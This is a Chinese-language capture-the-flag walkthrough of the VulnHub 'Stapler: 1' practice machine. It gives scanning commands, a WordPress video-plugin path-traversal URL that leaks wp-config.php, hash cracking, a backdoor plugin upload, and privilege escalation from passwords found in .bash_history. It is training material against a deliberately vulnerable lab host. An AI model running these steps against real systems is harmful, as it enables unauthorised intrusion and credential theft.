VulnHub-Stapler: 1 靶场渗透测试
时间:2021.2.19
靶场信息:
地址:https://www.vulnhub.com/entry/stapler-1,150/
发布日期:2016年6月8日
目标:得到root权限&找到flag.txt
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.137.0/24
由探测的结果可知,靶机的IP为192.168.137.137
2、扫描开放的端口和服务
nmap -sS -sV -T5 -A -p- 192.168.137.137
得到开放的端口信息:
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.75
80/tcp open http PHP cli server 5.5 or later
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
二、漏洞探测
通过nmap扫到了许多端口都开放着,我们从第一个ftp服务开始入手,根据nmap的提示,tfp允许匿名登录,将note下载到本地
查看note里面的内容,翻译过来就是一定要更新有效载荷信息,完成后,把它留在你的FTP账户里
这里有两个用户名Elly和John,先保留着,接下来看看22号端口
没密码,看看80端口,浏览器访问之后,并没有什么发现
接下来就是139端口的Samba服务,用smbclient来查看
enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具
enum4linux 192.168.137.137 > re.txt
smbclient //fred/kathy -I 192.168.137.137 -N
使用smbclient连接到此共享,并看到有两个文件夹kathy_stuff和backup,分别将这两个文件夹里的文件下载到本地
接着另外一个共享文件夹tmp,同样方式去访问,然后将ls文件下载到本地
smbclient //fred/tmp -I 192.168.137.137 -N
没什么思路,看看web应用
打开控制台,发现源代码里面的注释提到了一个用户Zoe
这里使用nikto扫描一下
Nikto 是一款开放源代码的、功能强大的 WEB 扫描评估软件,能对 web 服务器多种安全项目进行测试的扫描软件,去寻找已知有名的漏洞,能在230多种服务器上扫描出2600多种有潜在危险的文件、CGI 及其他问题,它可以扫描指定主机的 WEB 类型、主机名、特定目录、COOKIE、特定 CGI 漏洞、返回主机允许的 http 模式等等。
Nikto -h http://192.168.137.137:12380/
扫描出三个目录,/admin112233、/blogblog、/phpmyadmin,发现扫描出网站的SSL相关的信息,说明可能存在https访问,刚刚试了一下发现用http访问以上三个目录没任何变化
尝试用https访问https://192.168.137.137:12380/blogblog/,得到如下页面,并打开控制台发现该网站的是用WordPress搭建的,版本是4.2.1
之前还发现/admin112233/,访问之后如下,然后跳转到http://www.xss-payloads.com/
访问/phpmyadmin/,得到phpmyadmin的后台登录界面
根据之前探测到改网站是WordPress搭建的,这里就用WPscan这款工具枚举所有用户
wpscan --disable-tls-checks --url https://192.168.137.137:12380/blogblog/ --enumerate u
识别出了目标靶机存在的用户
wpscan --disable-tls-checks --url https://192.168.137.137:12380/blogblog/ --enumerate ap --api-token xxxx
扫描一下网站装了哪些插件,没扫出来
在扫描的时候发现有一个wp-content目录,访问之后里面还有三个子目录,重点看一下plugins
三、漏洞利用
google搜索一下这个video插件有没有可以利用的漏洞
https://192.168.137.137:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php
访问返回的链接,发现找不到
点击Home,返现返回了一张图片,找到图片的存放路径,并访问
https://192.168.137.137:12380/blogblog/wp-content/uploads/1411659474.jpeg
显示错误,这里错误的原因是里面的内容是wp-config.php的内容,我们将图片下载到本地,然后用strings进行分析
在wp-config.php里发现了mysql的数据库、用户名和密码
然后我们利用获得的root密码进行远程登录
mysql -u root -h 192.168.137.137 -p
读取用户表中的数据,并将数据保存到upass.txt
在用awk进行文本处理提取出user_pass这个字段中的所有值,再保存到pass.txt中
awk -F '|' '{print $3,":"$4}' upass.txt
使用john的rockyou.txt破解得到密码:incorrect
然后用这个账号进行登录
登录成功后,然后在上传插件的地方,上传生成的后门
四、提权
获取内核和版本信息,得出linux内核为4.4.0,Ubuntu 16.04的版本
然后google搜索相关的提权EXP
这里直接通过查看所有用户的家目录历史命令查找到了peter的密码
cat */.bash_history
JZQuyIN5 peter@localhost
然后ssh登录,发现可以sudo提权,直接sudo -i,然后查看flag
总结
又巩固了一次对WordPress插件漏洞的利用,整体难度还算可以。